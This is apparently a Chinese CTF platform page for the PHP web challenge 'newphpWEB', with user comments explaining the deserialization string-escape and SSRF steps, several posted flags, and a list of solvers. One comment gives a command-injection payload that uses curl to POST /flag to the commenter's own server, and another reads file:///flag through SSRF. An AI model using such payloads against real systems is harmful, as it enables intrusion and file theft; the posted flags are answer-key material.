newphpWEB 未解决

分数: 35 金币: 3
题目作者: xluo
一  血: lastsward
一血奖励: 3金币
解  决: 1019
提  示:
描  述:
flag{}
评论
givemeflag 5月前

flag{78dc400b390a50ed0009062015da1c8f}

回复 0

LLTVLL 6月前

不会,借鉴了writeup

回复 0

loulegedadong 7月前

这个讲的很清楚https://blog.csdn.net/m0_52061428/article/details/136293623

回复 0

老渡真的不懂 1年前

我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?

回复 0
buggggg 1年前

因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url

回复 0

XRain 1年前

file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。

回复 1

mykali 1年前

flag{fb59b8a9a71cc0b34ca26905db6c520b}

回复 0

wxy1343 1年前

flag{0af3dab81edb60a93d4a173cf3070b25}

回复 0

jack12138 2年前

后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢

回复 0
chaojiikun 1月前

你在自己写的文件里可以直接给username赋值evil的对象,但是对象无法打印,你没办法给username传evil对象,你传的只是字符串

回复 0

ch1n 2年前

第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。

回复 2

ch1n 2年前

第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。

回复 3

ch1n 2年前

第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。

回复 2

Archer7 2年前

index.cgi/?name= file:///flag

回复 1

lysandria 2年前

挺难的。ssrf的header头可以用空格逃逸。

回复 1

WriteUp

image
M1kael

6 金币

评分(4)

解题动态

炸鱼饼 攻破了该题 3天前
雾島风起時 攻破了该题 8天前
nina123 攻破了该题 11天前
xiaohu8728 攻破了该题 13天前
s19n@l 攻破了该题 16天前
wangzhuo 攻破了该题 16天前
15080841307 攻破了该题 17天前
jiangnanwithrain 攻破了该题 17天前
c2F1eQ 攻破了该题 18天前
robe1t 攻破了该题 20天前
KKsama 攻破了该题 20天前
jugmid 攻破了该题 21天前
不在话下 攻破了该题 22天前
13990684015 攻破了该题 24天前
ch2025 攻破了该题 25天前
854396873 攻破了该题 25天前
Pow_Ew 攻破了该题 26天前
Caic720 攻破了该题 1月前
123cdaadv 攻破了该题 1月前
Rannnn 攻破了该题 1月前
问题反馈